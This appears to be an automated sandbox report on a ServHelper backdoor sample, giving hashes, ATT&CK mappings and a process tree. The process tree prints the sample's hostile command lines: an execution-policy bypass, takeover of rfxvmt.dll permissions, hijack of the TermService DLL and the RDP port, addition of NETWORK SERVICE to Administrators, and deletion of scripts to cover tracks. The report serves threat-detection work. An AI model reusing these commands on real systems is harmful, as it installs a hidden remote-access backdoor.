servhelper | bea9da3ee504f62fc074963332e96297c7fff5efb2999efc946bc518a3765c00

Analysis

max time kernel
141s
max time network
122s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
30-03-2024 02:34

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

3170bcf7de646f8612910ab98f6d1861_JaffaCakes118.exe
Size

4.3MB
MD5

3170bcf7de646f8612910ab98f6d1861
SHA1

71d81b3dd1747cf1c0e744fcb1809d6522eab902
SHA256

bea9da3ee504f62fc074963332e96297c7fff5efb2999efc946bc518a3765c00
SHA512

f232d67902f1b7fc3eb73efc7df575dcac83f5943e613e61982c78c9d4c47b18eadd6d87f2b4d040ec4125f4770a33f03b5743b3b18c34ab622b258f913b91c5
SSDEEP

98304:OcaOt2a4P7cEg9j1rQT6YHyV4QWfjmRbM4rmqof6+oO+e:x4a4ndrE4QWfjm1M4rm1fqFe

Score

10^/10

servhelper backdoor discovery exploit persistence trojan

Malware Config

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001
Possible privilege escalation attempt 8 IoCs
exploit

Processes:

icacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exe

pid process

3024 icacls.exe
3060 icacls.exe
3000 icacls.exe
2844 icacls.exe
2444 icacls.exe
1480 takeown.exe
2768 icacls.exe
1416 icacls.exe

pid	process
3024	icacls.exe
3060	icacls.exe
3000	icacls.exe
2844	icacls.exe
2444	icacls.exe
1480	takeown.exe
2768	icacls.exe
1416	icacls.exe

Sets DLL path for service in the registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\TermService\Parameters\ServiceDLL = "C:\\Windows\\branding\\mediasrv.png"	reg.exe

Modifies file permissions 1 TTPs 8 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

takeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid process

1480 takeown.exe
2768 icacls.exe
1416 icacls.exe
3024 icacls.exe
3060 icacls.exe
3000 icacls.exe
2844 icacls.exe
2444 icacls.exe
Drops file in System32 directory 2 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Windows\SysWOW64\rdpclip.exe powershell.exe
File created C:\Windows\SysWOW64\rfxvmt.dll powershell.exe

pid	process
1480	takeown.exe
2768	icacls.exe
1416	icacls.exe
3024	icacls.exe
3060	icacls.exe
3000	icacls.exe
2844	icacls.exe
2444	icacls.exe

description	ioc	process
File created	C:\Windows\SysWOW64\rdpclip.exe	powershell.exe
File created	C:\Windows\SysWOW64\rfxvmt.dll	powershell.exe

Drops file in Windows directory 8 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

2808 reg.exe
Runs net.exe
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid process

2512 powershell.exe
2456 powershell.exe
2644 powershell.exe
1964 powershell.exe
2512 powershell.exe
2512 powershell.exe
2512 powershell.exe
Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

468

pid	process
2808	reg.exe

pid	process
2512	powershell.exe
2456	powershell.exe
2644	powershell.exe
1964	powershell.exe
2512	powershell.exe
2512	powershell.exe
2512	powershell.exe

pid	process
468

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exeicacls.exe

description	pid	process
Token: SeDebugPrivilege	2512	powershell.exe
Token: SeDebugPrivilege	2456	powershell.exe
Token: SeDebugPrivilege	2644	powershell.exe
Token: SeDebugPrivilege	1964	powershell.exe
Token: SeRestorePrivilege	1416	icacls.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

3170bcf7de646f8612910ab98f6d1861_JaffaCakes118.exepowershell.execsc.exe

description	pid	process	target process
PID 1220 wrote to memory of 2512	1220	3170bcf7de646f8612910ab98f6d1861_JaffaCakes118.exe	powershell.exe
PID 1220 wrote to memory of 2512	1220	3170bcf7de646f8612910ab98f6d1861_JaffaCakes118.exe	powershell.exe
PID 1220 wrote to memory of 2512	1220	3170bcf7de646f8612910ab98f6d1861_JaffaCakes118.exe	powershell.exe
PID 1220 wrote to memory of 2512	1220	3170bcf7de646f8612910ab98f6d1861_JaffaCakes118.exe	powershell.exe
PID 2512 wrote to memory of 2600	2512	powershell.exe	csc.exe
PID 2512 wrote to memory of 2600	2512	powershell.exe	csc.exe
PID 2512 wrote to memory of 2600	2512	powershell.exe	csc.exe
PID 2512 wrote to memory of 2600	2512	powershell.exe	csc.exe
PID 2600 wrote to memory of 2436	2600	csc.exe	cvtres.exe
PID 2600 wrote to memory of 2436	2600	csc.exe	cvtres.exe
PID 2600 wrote to memory of 2436	2600	csc.exe	cvtres.exe
PID 2600 wrote to memory of 2436	2600	csc.exe	cvtres.exe
PID 2512 wrote to memory of 2456	2512	powershell.exe	powershell.exe
PID 2512 wrote to memory of 2456	2512	powershell.exe	powershell.exe
PID 2512 wrote to memory of 2456	2512	powershell.exe	powershell.exe
PID 2512 wrote to memory of 2456	2512	powershell.exe	powershell.exe
PID 2512 wrote to memory of 2644	2512	powershell.exe	powershell.exe
PID 2512 wrote to memory of 2644	2512	powershell.exe	powershell.exe
PID 2512 wrote to memory of 2644	2512	powershell.exe	powershell.exe
PID 2512 wrote to memory of 2644	2512	powershell.exe	powershell.exe
PID 2512 wrote to memory of 1964	2512	powershell.exe	powershell.exe
PID 2512 wrote to memory of 1964	2512	powershell.exe	powershell.exe
PID 2512 wrote to memory of 1964	2512	powershell.exe	powershell.exe
PID 2512 wrote to memory of 1964	2512	powershell.exe	powershell.exe
PID 2512 wrote to memory of 1480	2512	powershell.exe	takeown.exe
PID 2512 wrote to memory of 1480	2512	powershell.exe	takeown.exe
PID 2512 wrote to memory of 1480	2512	powershell.exe	takeown.exe
PID 2512 wrote to memory of 1480	2512	powershell.exe	takeown.exe
PID 2512 wrote to memory of 2768	2512	powershell.exe	icacls.exe
PID 2512 wrote to memory of 2768	2512	powershell.exe	icacls.exe
PID 2512 wrote to memory of 2768	2512	powershell.exe	icacls.exe
PID 2512 wrote to memory of 2768	2512	powershell.exe	icacls.exe
PID 2512 wrote to memory of 1416	2512	powershell.exe	icacls.exe
PID 2512 wrote to memory of 1416	2512	powershell.exe	icacls.exe
PID 2512 wrote to memory of 1416	2512	powershell.exe	icacls.exe
PID 2512 wrote to memory of 1416	2512	powershell.exe	icacls.exe
PID 2512 wrote to memory of 3024	2512	powershell.exe	icacls.exe
PID 2512 wrote to memory of 3024	2512	powershell.exe	icacls.exe
PID 2512 wrote to memory of 3024	2512	powershell.exe	icacls.exe
PID 2512 wrote to memory of 3024	2512	powershell.exe	icacls.exe
PID 2512 wrote to memory of 3060	2512	powershell.exe	icacls.exe
PID 2512 wrote to memory of 3060	2512	powershell.exe	icacls.exe
PID 2512 wrote to memory of 3060	2512	powershell.exe	icacls.exe
PID 2512 wrote to memory of 3060	2512	powershell.exe	icacls.exe
PID 2512 wrote to memory of 3000	2512	powershell.exe	icacls.exe
PID 2512 wrote to memory of 3000	2512	powershell.exe	icacls.exe
PID 2512 wrote to memory of 3000	2512	powershell.exe	icacls.exe
PID 2512 wrote to memory of 3000	2512	powershell.exe	icacls.exe
PID 2512 wrote to memory of 2844	2512	powershell.exe	icacls.exe
PID 2512 wrote to memory of 2844	2512	powershell.exe	icacls.exe
PID 2512 wrote to memory of 2844	2512	powershell.exe	icacls.exe
PID 2512 wrote to memory of 2844	2512	powershell.exe	icacls.exe
PID 2512 wrote to memory of 2444	2512	powershell.exe	icacls.exe
PID 2512 wrote to memory of 2444	2512	powershell.exe	icacls.exe
PID 2512 wrote to memory of 2444	2512	powershell.exe	icacls.exe
PID 2512 wrote to memory of 2444	2512	powershell.exe	icacls.exe
PID 2512 wrote to memory of 2240	2512	powershell.exe	reg.exe
PID 2512 wrote to memory of 2240	2512	powershell.exe	reg.exe
PID 2512 wrote to memory of 2240	2512	powershell.exe	reg.exe
PID 2512 wrote to memory of 2240	2512	powershell.exe	reg.exe
PID 2512 wrote to memory of 2808	2512	powershell.exe	reg.exe
PID 2512 wrote to memory of 2808	2512	powershell.exe	reg.exe
PID 2512 wrote to memory of 2808	2512	powershell.exe	reg.exe
PID 2512 wrote to memory of 2808	2512	powershell.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\3170bcf7de646f8612910ab98f6d1861_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\3170bcf7de646f8612910ab98f6d1861_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1220

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2512

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bd_dvnlr.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:2600

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7F9C.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC7F9B.tmp"
4⤵
PID:2436

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2456

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2644

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1964

C:\Windows\SysWOW64\takeown.exe
"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1480

C:\Windows\SysWOW64\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2768

C:\Windows\SysWOW64\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1416

C:\Windows\SysWOW64\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3024

C:\Windows\SysWOW64\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3060

C:\Windows\SysWOW64\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3000

C:\Windows\SysWOW64\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2844

C:\Windows\SysWOW64\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2444

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
3⤵
PID:2240

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
3⤵
- Sets DLL path for service in the registry
- Modifies registry key
PID:2808

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
3⤵
PID:2716

C:\Windows\SysWOW64\net.exe
"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
3⤵
PID:1728

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
4⤵
PID:2096

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
3⤵
PID:828

C:\Windows\SysWOW64\cmd.exe
cmd /c net start rdpdr
4⤵
PID:2088

C:\Windows\SysWOW64\net.exe
net start rdpdr
5⤵
PID:1872

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start rdpdr
6⤵
PID:552

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
3⤵
PID:3064

C:\Windows\SysWOW64\cmd.exe
cmd /c net start TermService
4⤵
PID:1808

C:\Windows\SysWOW64\net.exe
net start TermService
5⤵
PID:2752

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start TermService
6⤵
PID:1124

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
3⤵
PID:3004

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
3⤵
PID:2136

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RES7F9C.tmp
Filesize
1KB

MD5
7f4c5cb8e45901a61f403e78440cc413

SHA1
f47cc515eb7d3fdd6d3d35be522d131618ac9a5a

SHA256
547395c865a4c3b919d2dd9b91a2e3067f067b3b53ae176fbe3bc0043faba6c9

SHA512
f65d4f77ebdf7297fe52c55cb2486070d416fbe4f0fbea70255fec51125ea7c3bd3e7b5a7625e473fce3db8e3be2b49c0e76018fd518b58e345b3793b1f28c7e

Download Submit
C:\Users\Admin\AppData\Local\Temp\bd_dvnlr.dll
Filesize
3KB

MD5
99bb3cc30d2685ddf41a4684048501d3

SHA1
9eec612c75b98a9723bed956563a7797decf998a

SHA256
ef9d84d2381c00665360056398fdff8c0b5b8a5cc141c38c3b06a671dfee9211

SHA512
9ceef880aea88577c62d322e47f145bc40fbc4e193547297c2a4d241097e038b19a12f81df6aea8d4f2ca7cf9bba9df093bfa94f9a3ff1ce53583762600d1795

Download Submit
C:\Users\Admin\AppData\Local\Temp\bd_dvnlr.pdb
Filesize
7KB

MD5
6a96d46756d38fedf07a604bd14bb295

SHA1
98c4dc27ec98ca0efbc62ecb2574887089ec8619

SHA256
d5bf21fcd67b7573dc5931b113fd99120f34e677a74a357ab5af448d109f61c1

SHA512
530ec7cfaa82cac3d3d82f54e8982fe502a3f893384a7da64fd11d715372ed4f24b61694a9d791b7c49b44c93d7348ab73abf5fcc950db68c34134d18e6344fe

Download Submit
C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1
Filesize
2.5MB

MD5
794bf0ae26a7efb0c516cf4a7692c501

SHA1
c8f81d0ddd4d360dcbe0814a04a86748f99c6ff2

SHA256
97753653d52aaa961e4d1364b5b43551c76da9bb19e12f741bd67c986259e825

SHA512
20c97972a1256375157f82a859ce4936613fe109d54c63bbec25734edc3a567ca976b342a21ef5f25571b3c1959afe618ad9f9f17a817cfd731d1504541b1a75

Download Submit
C:\Users\Admin\AppData\Local\Temp\ready.ps1
Filesize
1KB

MD5
28d9755addec05c0b24cca50dfe3a92b

SHA1
7d3156f11c7a7fb60d29809caf93101de2681aa3

SHA256
abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9

SHA512
891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize
7KB

MD5
ff71cc3adc8818e1f65a998cb3cde44c

SHA1
726c8f510b7dbea9b1385877f2b3c9899bd68e0b

SHA256
0ca8dceac969d17fe13915f29115ccb4ba81dec33bdeece8c4cadfe68a9a9247

SHA512
4f132e4b40ae579543fa0d737516e54a95d869c4e8c9d1f77a656af8ec6b510cdb43568d5704a6d2313e1d01cb4009b3a6080592aafe041b938d7e78d51f5d3e

Download Submit
C:\Windows\SysWOW64\rfxvmt.dll
Filesize
40KB

MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSC7F9B.tmp
Filesize
652B

MD5
f47c804de7cc6c1c31b86aac86598ae0

SHA1
e522d497159159ab8f103ca5374eeff1bd280a23

SHA256
21f145c0ea6df722b6de01e927753c2672da8807f8f3e104a67cdff8a2d109d1

SHA512
456321ad6ad5761840b12524f178e169785947ac2a99b533d3182c951fd2c41b9855b1f28692a0174645dc70daba9ae503da5fd9f8220fbe4251e755785edc48

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\bd_dvnlr.0.cs
Filesize
424B

MD5
9f8ab7eb0ab21443a2fe06dab341510e

SHA1
2b88b3116a79e48bab7114e18c9b9674e8a52165

SHA256
e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9

SHA512
53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\bd_dvnlr.cmdline
Filesize
309B

MD5
6e072fd69c669bcb1cd0a992a3b994ef

SHA1
ceaf94674d832d7bd482be965721326254170292

SHA256
472e48de0ee4bda307861939df0fcef7cfa30083440a23b2c8d00e8b391f3ee4

SHA512
d7c1f7b84d5f93a258582b7cb4fccf91699f7ba654b80078ea514fc162fc9ee8756203a156b379d06937faedad6106a3821557e9b08b7dea7157fa2fab2170f4

Download Submit
memory/1220-13-0x0000000003620000-0x0000000003A27000-memory.dmp

Filesize
4.0MB

Download
memory/1220-1-0x0000000003620000-0x0000000003A27000-memory.dmp

Filesize
4.0MB

Download
memory/1220-17-0x0000000003A30000-0x0000000003E32000-memory.dmp

Filesize
4.0MB

Download
memory/1220-56-0x0000000006790000-0x00000000067D0000-memory.dmp

Filesize
256KB

Download
memory/1220-48-0x0000000006790000-0x00000000067D0000-memory.dmp

Filesize
256KB

Download
memory/1220-42-0x0000000006790000-0x00000000067D0000-memory.dmp

Filesize
256KB

Download
memory/1220-7-0x0000000006790000-0x00000000067D0000-memory.dmp

Filesize
256KB

Download
memory/1220-6-0x0000000006BD0000-0x0000000006FD4000-memory.dmp

Filesize
4.0MB

Download
memory/1220-5-0x0000000006790000-0x00000000067D0000-memory.dmp

Filesize
256KB

Download
memory/1220-4-0x0000000074960000-0x000000007504E000-memory.dmp

Filesize
6.9MB

Download
memory/1220-3-0x0000000000400000-0x0000000001AC1000-memory.dmp

Filesize
22.8MB

Download
memory/1220-2-0x0000000003A30000-0x0000000003E32000-memory.dmp

Filesize
4.0MB

Download
memory/1220-36-0x0000000074960000-0x000000007504E000-memory.dmp

Filesize
6.9MB

Download
memory/1220-0-0x0000000003620000-0x0000000003A27000-memory.dmp

Filesize
4.0MB

Download
memory/1964-67-0x000000006F8F0000-0x000000006FE9B000-memory.dmp

Filesize
5.7MB

Download
memory/1964-71-0x000000006F8F0000-0x000000006FE9B000-memory.dmp

Filesize
5.7MB

Download
memory/1964-69-0x000000006F8F0000-0x000000006FE9B000-memory.dmp

Filesize
5.7MB

Download
memory/1964-70-0x0000000002590000-0x00000000025D0000-memory.dmp

Filesize
256KB

Download
memory/1964-68-0x0000000002590000-0x00000000025D0000-memory.dmp

Filesize
256KB

Download
memory/2456-43-0x000000006F8F0000-0x000000006FE9B000-memory.dmp

Filesize
5.7MB

Download
memory/2456-44-0x000000006F8F0000-0x000000006FE9B000-memory.dmp

Filesize
5.7MB

Download
memory/2456-45-0x0000000002750000-0x0000000002790000-memory.dmp

Filesize
256KB

Download
memory/2456-46-0x0000000002750000-0x0000000002790000-memory.dmp

Filesize
256KB

Download
memory/2456-47-0x0000000002750000-0x0000000002790000-memory.dmp

Filesize
256KB

Download
memory/2456-49-0x000000006F8F0000-0x000000006FE9B000-memory.dmp

Filesize
5.7MB

Download
memory/2512-16-0x000000006F8F0000-0x000000006FE9B000-memory.dmp

Filesize
5.7MB

Download
memory/2512-75-0x0000000002730000-0x0000000002770000-memory.dmp

Filesize
256KB

Download
memory/2512-85-0x0000000002730000-0x0000000002770000-memory.dmp

Filesize
256KB

Download
memory/2512-14-0x000000006F8F0000-0x000000006FE9B000-memory.dmp

Filesize
5.7MB

Download
memory/2512-77-0x0000000002730000-0x0000000002770000-memory.dmp

Filesize
256KB

Download
memory/2512-76-0x000000006F8F0000-0x000000006FE9B000-memory.dmp

Filesize
5.7MB

Download
memory/2512-73-0x000000006F8F0000-0x000000006FE9B000-memory.dmp

Filesize
5.7MB

Download
memory/2512-18-0x0000000002730000-0x0000000002770000-memory.dmp

Filesize
256KB

Download
memory/2512-15-0x0000000002730000-0x0000000002770000-memory.dmp

Filesize
256KB

Download
memory/2644-55-0x000000006F8F0000-0x000000006FE9B000-memory.dmp

Filesize
5.7MB

Download
memory/2644-59-0x00000000027A0000-0x00000000027E0000-memory.dmp

Filesize
256KB

Download
memory/2644-57-0x00000000027A0000-0x00000000027E0000-memory.dmp

Filesize
256KB

Download
memory/2644-58-0x000000006F8F0000-0x000000006FE9B000-memory.dmp

Filesize
5.7MB

Download
memory/2644-61-0x000000006F8F0000-0x000000006FE9B000-memory.dmp

Filesize
5.7MB

Download
memory/2644-60-0x00000000027A0000-0x00000000027E0000-memory.dmp

Filesize
256KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads